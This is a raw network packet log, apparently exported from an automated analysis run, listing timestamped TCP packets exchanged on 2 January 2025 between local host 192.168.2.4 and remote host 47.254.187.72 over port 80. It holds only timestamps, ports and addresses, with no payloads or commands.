Jan 2, 2025 20:34:57.338332891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.338341951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338352919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338363886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.338380098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.339759111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.342619896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342696905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.342719078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342729092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342739105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342753887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.342755079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342766047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342776060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342777967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.342786074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.342807055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.342828989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.361138105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361161947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361171007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361181974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361191988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361205101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.361207962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361218929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361228943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361239910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.361246109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.361265898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.361278057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369638920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369678020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369687080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369693041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369697094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369708061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369710922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369735003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369765997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369834900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369852066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369862080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369874001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.369875908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369893074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.369921923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.372275114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372284889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372302055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372313023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372317076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.372322083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372332096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372338057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.372344017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372354031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372370005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372379065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.372380018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.372397900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.372425079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373231888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373241901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373260021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373270035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373270988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373281956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373291969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373301983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373302937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373323917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373334885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373704910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373714924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373749971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373769045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373780012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373790026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373805046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373814106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373815060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373826027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373830080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.373840094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.373869896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390366077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390419006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390429974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390440941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390450954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390460968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390461922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390472889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390489101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390516043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390566111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390575886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390587091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390597105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390604973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390607119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390616894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390628099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390636921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390645027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390657902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390664101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390680075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390687943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390687943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390705109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390738010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390739918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390753031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390763998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390774965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390775919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390789986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390799046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.390813112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.390831947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.391402960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391448975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.391475916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391484976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391495943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391505957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391511917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.391515970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391525984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391531944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.391560078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.391560078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.391592979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.396876097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396898031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396908998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396919012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396920919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.396929026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396939039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396949053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.396955013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.396979094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.397006989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.400125027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400171041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400176048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.400180101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400197029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400203943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.400207043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400217056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400221109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.400227070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400237083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400239944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.400248051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.400269032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.400284052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.406239986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406271935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406282902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406303883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.406341076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.406357050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406368017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406378031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406389952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406397104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.406399012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.406419992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.406450033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.409091949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409110069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409118891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409133911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409141064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.409154892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409162998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.409167051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409174919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409193993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.409197092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409214973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.409219027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.409233093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.409270048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.414637089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414648056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414659023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414669037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414684057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414694071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414704084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.414710999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.414710999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.414748907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.425064087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425075054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425085068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425112963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.425126076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425137043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425147057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425156116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425160885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.425167084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425177097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.425189972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.425221920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.429445982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429457903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429467916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429477930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429488897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429498911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.429498911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429511070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429522038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.429538012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.429558992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.448050976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448062897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448084116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448095083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448108912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448122978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.448126078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448137045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448148012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.448178053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.448194981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.456545115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456624985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456634998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456650972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.456651926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456661940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456672907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456687927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.456712961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.456880093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.459218025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459254026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459265947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459275961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459286928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459297895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459307909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459325075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.459327936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459388971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.459388971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.459939957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459949970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459959984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.459969997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460033894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460035086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.460035086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.460046053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460061073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460072041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460083961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.460808992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460820913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460830927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460835934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.460840940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460851908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460855007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.460861921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460872889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.460886955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.463761091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477180958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477210999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477221966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477330923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477348089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477358103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477360964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477374077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477385044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477395058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477396965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477405071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477415085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477416039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477425098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477436066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477436066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477451086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477458954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477463007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477478027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477478027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477489948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477499962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477509022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477519035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477533102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477540970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477549076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477561951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477571011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.477571011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477622986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.477622986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.478245974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478255987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478266001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478277922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478287935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478288889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.478297949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478307962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478308916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.478331089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.478354931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.478354931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.479753017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.483573914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483611107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483622074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483652115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483666897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483676910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483676910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.483676910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.483692884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483704090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.483726978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.483750105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.487075090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.487086058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.487096071 CET	80	49730	47.254.187.72	192.168.2.4
